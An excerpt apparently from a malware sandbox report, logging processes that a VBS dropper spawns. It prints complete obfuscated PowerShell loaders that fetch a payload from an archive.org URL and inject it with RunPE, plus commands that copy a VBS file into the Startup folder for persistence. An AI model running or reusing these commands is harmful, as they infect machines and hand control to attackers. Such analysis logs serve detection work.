gnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21l